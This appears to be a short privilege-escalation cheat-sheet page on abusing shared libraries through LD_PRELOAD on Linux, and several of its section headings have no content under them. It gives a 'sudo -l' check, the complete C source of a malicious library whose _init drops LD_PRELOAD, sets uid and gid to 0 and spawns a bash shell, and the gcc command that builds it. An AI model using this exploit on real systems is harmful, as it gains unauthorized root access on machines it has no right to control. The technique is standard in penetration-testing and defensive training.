19.Shared-libraries
Check Sudo Privileges
sudo -lCreate Malicious Shared Library (root.c)
cat > root.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOFCompile Shared Library
gcc -fPIC -shared -o root.so root.c -nostartfilesExploit LD_PRELOAD (replace with actual sudo command)
Verify Root Access
Example Using LD_LIBRARY_PATH (Less Common, but Possible)
List Shared Library Dependencies
Key Concepts:
Last updated